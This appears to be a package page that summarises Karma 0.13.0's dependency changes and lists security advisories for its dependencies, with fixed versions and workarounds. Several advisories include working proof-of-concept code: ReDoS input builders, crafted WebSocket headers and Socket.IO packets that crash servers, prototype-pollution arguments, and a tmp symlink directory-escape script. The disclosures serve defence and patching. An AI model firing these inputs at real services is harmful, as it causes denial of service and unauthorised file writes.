Karma 0.13.0 introduces several key updates compared to its predecessor, version 0.12.37. A notable change is the update of dependencies. For instance, socket.io is updated to ~1.3.5 from 0.9.16, promising improved websocket communication capabilities, while connect jumps to ^3.3.5 from 2.29.2, offering enhanced middleware support for web applications. Other dependency upgrades include newer versions of glob, source-map, and body-parser. A new dependency, core-js, has been added, providing polyfills for modern JavaScript features, which could be valuable for ensuring compatibility across different browsers.
Developers should also note that the q dependency was removed, indicating a shift perhaps toward native promises or another promise library like bluebird, which was added in the newer version. For testing, the devDependencies saw many upgrades too, notably eslint-config-standard was introduced. These modifications likely impact the testing environment and the overall developer workflow. Be aware of these dependency changes if migrating existing projects to ensure compatibility and take advantage of the latest features and fixes. Finally, the releaseDate shows that version 0.13.0 was released later than the previous one which means that it includes bug fixes and improvements.
All the vulnerabilities related to the version 0.13.0 of the package
Cross-site Scripting in karma
karma prior to version 6.3.14 contains a cross-site scripting vulnerability.
Open redirect in karma
Karma before 6.3.16 is vulnerable to Open Redirect due to missing validation of the return_url query parameter.
Prototype Pollution in lodash
Versions of lodash before 4.17.12 are vulnerable to Prototype Pollution. The function defaultsDeep allows a malicious user to modify the prototype of Object via {constructor: {prototype: {...}}} causing the addition or modification of an existing property that will exist on all objects.
Update to version 4.17.12 or later.
Prototype Pollution in lodash
Versions of lodash before 4.17.5 are vulnerable to prototype pollution.
The vulnerable functions are 'defaultsDeep', 'merge', and 'mergeWith' which allow a malicious user to modify the prototype of Object via __proto__ causing the addition or modification of an existing property that will exist on all objects.
Update to version 4.17.5 or later.
Prototype Pollution in lodash
Versions of lodash before 4.17.11 are vulnerable to prototype pollution.
The vulnerable functions are 'defaultsDeep', 'merge', and 'mergeWith' which allow a malicious user to modify the prototype of Object via {constructor: {prototype: {...}}} causing the addition or modification of an existing property that will exist on all objects.
Update to version 4.17.11 or later.
Regular Expression Denial of Service (ReDoS) in lodash
lodash prior to 4.7.11 is affected by: CWE-400: Uncontrolled Resource Consumption. The impact is: Denial of service. The component is: Date handler. The attack vector is: Attacker provides very long strings, which the library attempts to match using a regular expression. The fixed version is: 4.7.11.
Prototype Pollution in lodash
Versions of lodash prior to 4.17.19 are vulnerable to Prototype Pollution. The functions pick, set, setWith, update, updateWith, and zipObjectDeep allow a malicious user to modify the prototype of Object if the property identifiers are user-supplied. Being affected by this issue requires manipulating objects based on user-provided property values or arrays.
This vulnerability causes the addition or modification of an existing property that will exist on all objects and may lead to Denial of Service or Code Execution under specific circumstances.
Regular Expression Denial of Service (ReDoS) in lodash
All versions of package lodash prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions.
Steps to reproduce (provided by reporter Liyuan Chen):
var lo = require('lodash');
function build_blank(n) {
var ret = "1"
for (var i = 0; i < n; i++) {
ret += " "
}
return ret + "1";
}
var s = build_blank(50000) var time0 = Date.now();
lo.trim(s)
var time_cost0 = Date.now() - time0;
console.log("time_cost0: " + time_cost0);
var time1 = Date.now();
lo.toNumber(s) var time_cost1 = Date.now() - time1;
console.log("time_cost1: " + time_cost1);
var time2 = Date.now();
lo.trimEnd(s);
var time_cost2 = Date.now() - time2;
console.log("time_cost2: " + time_cost2);
Command Injection in lodash
lodash versions prior to 4.17.21 are vulnerable to Command Injection via the template function.
Incorrect Default Permissions in log4js
Default file permissions for log files created by the file, fileSync and dateFile appenders are world-readable (in unix). This could cause problems if log files contain sensitive information. This would affect any users that have not supplied their own permissions for the files via the mode parameter in the config.
Fixed by:
Released to NPM in log4js@6.4.0
Every version of log4js published allows passing the mode parameter to the configuration of file appenders, see the documentation for details.
Thanks to ranjit-git for raising the issue, and to @lamweili for fixing the problem.
If you have any questions or comments about this advisory:
semver vulnerable to Regular Expression Denial of Service
Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.
Regular Expression Denial of Service (ReDoS) in micromatch
The NPM package micromatch prior to version 4.0.8 is vulnerable to Regular Expression Denial of Service (ReDoS). The vulnerability occurs in micromatch.braces() in index.js because the pattern .* will greedily match anything. By passing a malicious payload, the pattern matching will keep backtracking to the input while it doesn't find the closing bracket. As the input size increases, the consumption time will also increase until it causes the application to hang or slow down. There was a merged fix but further testing shows the issue persisted prior to https://github.com/micromatch/micromatch/pull/266. This issue should be mitigated by using a safe pattern that won't start backtracking the regular expression due to greedy matching.
Prototype Pollution in minimist
Affected versions of minimist are vulnerable to prototype pollution. Arguments are not properly sanitized, allowing an attacker to modify the prototype of Object, causing the addition or modification of an existing property that will exist on all objects.
Parsing the argument --__proto__.y=Polluted adds a y property with value Polluted to all objects. The argument --__proto__=Polluted raises and uncaught error and crashes the application.
This is exploitable if attackers have control over the arguments being passed to minimist.
Upgrade to versions 0.2.1, 1.2.3 or later.
Prototype Pollution in minimist
Minimist prior to 1.2.6 and 0.2.4 is vulnerable to Prototype Pollution via file index.js, function setKey() (lines 69-95).
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.
CORS misconfiguration in socket.io
The package socket.io before 2.4.0 are vulnerable to Insecure Defaults due to CORS Misconfiguration. All domains are whitelisted by default.
socket.io has an unhandled 'error' event
A specially crafted Socket.IO packet can trigger an uncaught exception on the Socket.IO server, thus killing the Node.js process.
node:events:502
throw err; // Unhandled 'error' event
^
Error [ERR_UNHANDLED_ERROR]: Unhandled error. (undefined)
at new NodeError (node:internal/errors:405:5)
at Socket.emit (node:events:500:17)
at /myapp/node_modules/socket.io/lib/socket.js:531:14
at process.processTicksAndRejections (node:internal/process/task_queues:77:11) {
code: 'ERR_UNHANDLED_ERROR',
context: undefined
}
| Version range | Needs minor update? |
|------------------|------------------------------------------------|
| 4.6.2...latest | Nothing to do |
| 3.0.0...4.6.1 | Please upgrade to socket.io@4.6.2 (at least) |
| 2.3.0...2.5.0 | Please upgrade to socket.io@2.5.1 |
This issue is fixed by https://github.com/socketio/socket.io/commit/15af22fc22bc6030fcead322c106f07640336115, included in socket.io@4.6.2 (released in May 2023).
The fix was backported in the 2.x branch today: https://github.com/socketio/socket.io/commit/d30630ba10562bf987f4d2b42440fc41a828119c
As a workaround for the affected versions of the socket.io package, you can attach a listener for the "error" event:
io.on("connection", (socket) => {
socket.on("error", () => {
// ...
});
});
If you have any questions or comments about this advisory:
Thanks a lot to Paul Taylor for the responsible disclosure.
Resource exhaustion in engine.io
Engine.IO before 4.0.0 and 3.6.0 allows attackers to cause a denial of service (resource consumption) via a POST request to the long polling transport.
Uncaught exception in engine.io
A specially crafted HTTP request can trigger an uncaught exception on the Engine.IO server, thus killing the Node.js process.
events.js:292
throw er; // Unhandled 'error' event
^
Error: read ECONNRESET
at TCP.onStreamRead (internal/stream_base_commons.js:209:20)
Emitted 'error' event on Socket instance at:
at emitErrorNT (internal/streams/destroy.js:106:8)
at emitErrorCloseNT (internal/streams/destroy.js:74:3)
at processTicksAndRejections (internal/process/task_queues.js:80:21) {
errno: -104,
code: 'ECONNRESET',
syscall: 'read'
}
This impacts all the users of the engine.io package, including those who uses depending packages like socket.io.
A fix has been released today (2022/11/20):
| Version range | Fixed version |
|-------------------|---------------|
| engine.io@3.x.y | 3.6.1 |
| engine.io@6.x.y | 6.2.1 |
For socket.io users:
| Version range | engine.io version | Needs minor update? |
|-----------------------------|---------------------|--------------------------------------------------------------------------------------------------------|
| socket.io@4.5.x | ~6.2.0 | npm audit fix should be sufficient |
| socket.io@4.4.x | ~6.1.0 | Please upgrade to socket.io@4.5.x |
| socket.io@4.3.x | ~6.0.0 | Please upgrade to socket.io@4.5.x |
| socket.io@4.2.x | ~5.2.0 | Please upgrade to socket.io@4.5.x |
| socket.io@4.1.x | ~5.1.1 | Please upgrade to socket.io@4.5.x |
| socket.io@4.0.x | ~5.0.0 | Please upgrade to socket.io@4.5.x |
| socket.io@3.1.x | ~4.1.0 | Please upgrade to socket.io@4.5.x (see here) |
| socket.io@3.0.x | ~4.0.0 | Please upgrade to socket.io@4.5.x (see here) |
| socket.io@2.5.0 | ~3.6.0 | npm audit fix should be sufficient |
| socket.io@2.4.x and below | ~3.5.0 | Please upgrade to socket.io@2.5.0 |
There is no known workaround except upgrading to a safe version.
If you have any questions or comments about this advisory:
engine.ioThanks to Jonathan Neve for the responsible disclosure.
Remote Memory Disclosure in ws
Versions of ws prior to 1.0.1 are affected by a remote memory disclosure vulnerability.
In certain rare circumstances, applications which allow users to control the arguments of a client.ping() call will cause ws to send the contents of an allocated but non-zero-filled buffer to the server. This may disclose sensitive information that still exists in memory after previous use of the memory for other tasks.
var ws = require('ws')
var server = new ws.Server({ port: 9000 })
var client = new ws('ws://localhost:9000')
client.on('open', function () {
console.log('open')
client.ping(50) // this sends a non-zeroed buffer of 50 bytes
client.on('pong', function (data) {
console.log('got pong')
console.log(data) // Data from the client.
})
})
Update to version 1.0.1 or greater.
DoS due to excessively large websocket message in ws
Affected versions of ws do not appropriately limit the size of incoming websocket payloads, which may result in a denial of service condition when the node process crashes after receiving a large payload.
Update to version 1.1.1 or later.
Alternatively, set the maxpayload option for the ws server to a value smaller than 256MB.
Denial of Service in ws
Affected versions of ws can crash when a specially crafted Sec-WebSocket-Extensions header containing Object.prototype property names as extension or parameter names is sent.
const WebSocket = require('ws');
const net = require('net');
const wss = new WebSocket.Server({ port: 3000 }, function () {
const payload = 'constructor'; // or ',;constructor'
const request = [
'GET / HTTP/1.1',
'Connection: Upgrade',
'Sec-WebSocket-Key: test',
'Sec-WebSocket-Version: 8',
`Sec-WebSocket-Extensions: ${payload}`,
'Upgrade: websocket',
'\r\n'
].join('\r\n');
const socket = net.connect(3000, function () {
socket.resume();
socket.write(request);
});
});
Update to version 3.3.1 or later.
parse-uri Regular expression Denial of Service (ReDoS)
An issue in parse-uri v1.0.9 allows attackers to cause a Regular expression Denial of Service (ReDoS) via a crafted URL.
async function exploit() {
const parseuri = require("parse-uri");
// This input is designed to cause excessive backtracking in the regex
const craftedInput = 'http://example.com/' + 'a'.repeat(30000) + '?key=value';
const result = await parseuri(craftedInput);
}
await exploit();
Insecure Defaults Allow MITM Over TLS in engine.io-client
Affected versions of engine.io-client do not verify certificates by default, and as such may be vulnerable to Man-in-the-Middle attacks.
The vulnerability is related to the way that node.js handles the rejectUnauthorized setting. If the value is something that evaluates to false, such as undefined or null, certificate verification will be disabled.
Update to version 1.6.9 or later.
If you are unable to upgrade, ensure all calls to socket.io to have a rejectedUnauthorized: true flag.
Regular Expression Denial of Service in parsejson
Affected versions of parsejson are vulnerable to a regular expression denial of service when parsing untrusted user input.
The parsejson package has not been functionally updated since it was initially released.
Additionally, it provides functionality which is natively included in Node.js, and therefore the native JSON.parse() should be used, for both performance and security reasons.
Resource exhaustion in socket.io-parser
The socket.io-parser npm package before versions 3.3.2 and 3.4.1 allows attackers to cause a denial of service (memory consumption) via a large packet because a concatenation approach is used.
Insufficient validation when decoding a Socket.IO packet
Due to improper type validation in the socket.io-parser library (which is used by the socket.io and socket.io-client packages to encode and decode Socket.IO packets), it is possible to overwrite the _placeholder object which allows an attacker to place references to functions at arbitrary places in the resulting query object.
Example:
const decoder = new Decoder();
decoder.on("decoded", (packet) => {
console.log(packet.data); // prints [ 'hello', [Function: splice] ]
})
decoder.add('51-["hello",{"_placeholder":true,"num":"splice"}]');
decoder.add(Buffer.from("world"));
This bubbles up in the socket.io package:
io.on("connection", (socket) => {
socket.on("hello", (val) => {
// here, "val" could be a function instead of a buffer
});
});
:warning: IMPORTANT NOTE :warning:
You need to make sure that the payload that you received from the client is actually a Buffer object:
io.on("connection", (socket) => {
socket.on("hello", (val) => {
if (!Buffer.isBuffer(val)) {
socket.disconnect();
return;
}
// ...
});
});
If that's already the case, then you are not impacted by this issue, and there is no way an attacker could make your server crash (or escalate privileges, ...).
Example of values that could be sent by a malicious user:
Sample packet: 451-["hello",{"_placeholder":true,"num":10}]
io.on("connection", (socket) => {
socket.on("hello", (val) => {
// val is `undefined`
});
});
undefinedSample packet: 451-["hello",{"_placeholder":true,"num":undefined}]
io.on("connection", (socket) => {
socket.on("hello", (val) => {
// val is `undefined`
});
});
Array, like "push"Sample packet: 451-["hello",{"_placeholder":true,"num":"push"}]
io.on("connection", (socket) => {
socket.on("hello", (val) => {
// val is a reference to the "push" function
});
});
Object, like "hasOwnProperty"Sample packet: 451-["hello",{"_placeholder":true,"num":"hasOwnProperty"}]
io.on("connection", (socket) => {
socket.on("hello", (val) => {
// val is a reference to the "hasOwnProperty" function
});
});
This should be fixed by:
socket.io-parser@4.2.1socket.io-parser@4.0.5socket.io-parser@3.4.2socket.io-parser@3.3.3socket.io package| socket.io version | socket.io-parser version | Covered? |
|---------------------|---------------------------------------------------------------------------------------------------------|------------------------|
| 4.5.2...latest | ~4.2.0 (ref) | Yes :heavy_check_mark: |
| 4.1.3...4.5.1 | ~4.0.4 (ref) | Yes :heavy_check_mark: |
| 3.0.5...4.1.2 | ~4.0.3 (ref) | Yes :heavy_check_mark: |
| 3.0.0...3.0.4 | ~4.0.1 (ref) | Yes :heavy_check_mark: |
| 2.3.0...2.5.0 | ~3.4.0 (ref) | Yes :heavy_check_mark: |
socket.io-client package| socket.io-client version | socket.io-parser version | Covered? |
|----------------------------|----------------------------------------------------------------------------------------------------------------|------------------------------------|
| 4.5.0...latest | ~4.2.0 (ref) | Yes :heavy_check_mark: |
| 4.3.0...4.4.1 | ~4.1.1 (ref) | No, but the impact is very limited |
| 3.1.0...4.2.0 | ~4.0.4 (ref) | Yes :heavy_check_mark: |
| 3.0.5 | ~4.0.3 (ref) | Yes :heavy_check_mark: |
| 3.0.0...3.0.4 | ~4.0.1 (ref) | Yes :heavy_check_mark: |
| 2.2.0...2.5.0 | ~3.3.0 (ref) | Yes :heavy_check_mark: |
Insufficient validation when decoding a Socket.IO packet
A specially crafted Socket.IO packet can trigger an uncaught exception on the Socket.IO server, thus killing the Node.js process.
TypeError: Cannot convert object to primitive value
at Socket.emit (node:events:507:25)
at .../node_modules/socket.io/lib/socket.js:531:14
A fix has been released today (2023/05/22):
socket.io-parser@4.2.3socket.io-parser@3.4.3Another fix has been released for the 3.3.x branch:
| socket.io version | socket.io-parser version | Needs minor update? |
|---------------------|---------------------------------------------------------------------------------------------------------|--------------------------------------|
| 4.5.2...latest | ~4.2.0 (ref) | npm audit fix should be sufficient |
| 4.1.3...4.5.1 | ~4.1.1 (ref) | Please upgrade to socket.io@4.6.x |
| 3.0.5...4.1.2 | ~4.0.3 (ref) | Please upgrade to socket.io@4.6.x |
| 3.0.0...3.0.4 | ~4.0.1 (ref) | Please upgrade to socket.io@4.6.x |
| 2.3.0...2.5.0 | ~3.4.0 (ref) | npm audit fix should be sufficient |
There is no known workaround except upgrading to a safe version.
If you have any questions or comments about this advisory:
Thanks to @rafax00 for the responsible disclosure.
useragent Regular Expression Denial of Service vulnerability
Useragent is a user agent parser for Node.js. All versions as of time of publication contain one or more regular expressions that are vulnerable to Regular Expression Denial of Service (ReDoS).
async function exploit() {
const useragent = require(\"useragent\");
// Create a malicious user-agent that leads to excessive backtracking
const maliciousUserAgent = 'Mozilla/5.0 (' + 'X'.repeat(30000) + ') Gecko/20100101 Firefox/77.0';
// Parse the malicious user-agent
const agent = useragent.parse(maliciousUserAgent);
// Call the toString method to trigger the vulnerability
const result = await agent.device.toString();
console.log(result);
}
await exploit();
tmp allows arbitrary temporary file / directory write via symbolic link dir parameter
tmp@0.2.3 is vulnerable to an Arbitrary temporary file / directory write via symbolic link dir parameter.
According to the documentation there are some conditions that must be held:
// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50
Other breaking changes, i.e.
- template must be relative to tmpdir
- name must be relative to tmpdir
- dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks
are still in place.
In order to override the system's tmpdir, you will have to use the newly
introduced tmpdir option.
// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375
* `dir`: the optional temporary directory that must be relative to the system's default temporary directory.
absolute paths are fine as long as they point to a location under the system's default temporary directory.
Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access,
as tmp will not check the availability of the path, nor will it establish the requested path for you.
Related issue: https://github.com/raszi/node-tmp/issues/207.
The issue occurs because _resolvePath does not properly handle symbolic link when resolving paths:
// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579
function _resolvePath(name, tmpDir) {
if (name.startsWith(tmpDir)) {
return path.resolve(name);
} else {
return path.resolve(path.join(tmpDir, name));
}
}
If the dir parameter points to a symlink that resolves to a folder outside the tmpDir, it's possible to bypass the _assertIsRelative check used in _assertAndSanitizeOptions:
// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609
function _assertIsRelative(name, option, tmpDir) {
if (option === 'name') {
// assert that name is not absolute and does not contain a path
if (path.isAbsolute(name))
throw new Error(`${option} option must not contain an absolute path, found "${name}".`);
// must not fail on valid .<name> or ..<name> or similar such constructs
let basename = path.basename(name);
if (basename === '..' || basename === '.' || basename !== name)
throw new Error(`${option} option must not contain a path, found "${name}".`);
}
else { // if (option === 'dir' || option === 'template') {
// assert that dir or template are relative to tmpDir
if (path.isAbsolute(name) && !name.startsWith(tmpDir)) {
throw new Error(`${option} option must be relative to "${tmpDir}", found "${name}".`);
}
let resolvedPath = _resolvePath(name, tmpDir); //<---
if (!resolvedPath.startsWith(tmpDir))
throw new Error(`${option} option must be relative to "${tmpDir}", found "${resolvedPath}".`);
}
}
The following PoC demonstrates how writing a tmp file on a folder outside the tmpDir is possible.
Tested on a Linux machine.
tmpDir that points to a directory outside of itmkdir $HOME/mydir1
ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir
ls -lha $HOME/mydir1 | grep "tmp-"
node main.js
File: /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf
test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]'
test 2: dir option must be relative to "/tmp", found "/foo".
test 3: dir option must be relative to "/tmp", found "/home/user/mydir1".
$HOME/mydir1 (outside the tmpDir):ls -lha $HOME/mydir1 | grep "tmp-"
-rw------- 1 user user 0 Apr X XX:XX tmp-[random-id]
main.js// npm i tmp@0.2.3
const tmp = require('tmp');
const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);
try {
tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
console.log('test 1:', err.message)
}
try {
tmp.fileSync({ 'dir': '/foo'});
} catch (err) {
console.log('test 2:', err.message)
}
try {
const fs = require('node:fs');
const resolved = fs.realpathSync('/tmp/evil-dir');
tmp.fileSync({ 'dir': resolved});
} catch (err) {
console.log('test 3:', err.message)
}
A Potential fix could be to call fs.realpathSync (or similar) that resolves also symbolic links.
function _resolvePath(name, tmpDir) {
let resolvedPath;
if (name.startsWith(tmpDir)) {
resolvedPath = path.resolve(name);
} else {
resolvedPath = path.resolve(path.join(tmpDir, name));
}
return fs.realpathSync(resolvedPath);
}
Arbitrary temporary file / directory write via symlink
Regular Expression Denial of Service (ReDoS) in braces
A vulnerability was found in Braces versions prior to 2.3.1. Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) attacks.
Regular Expression Denial of Service in braces
Versions of braces prior to 2.3.1 are vulnerable to Regular Expression Denial of Service (ReDoS). Untrusted input may cause catastrophic backtracking while matching regular expressions. This can cause the application to be unresponsive leading to Denial of Service.
Upgrade to version 2.3.1 or higher.
Uncontrolled resource consumption in braces
The NPM package braces fails to limit the number of characters it can handle, which could lead to Memory Exhaustion. In lib/parse.js, if a malicious user sends "imbalanced braces" as input, the parsing will enter a loop, which will cause the program to start allocating heap memory without freeing it at any moment of the loop. Eventually, the JavaScript heap limit is reached, and the program will crash.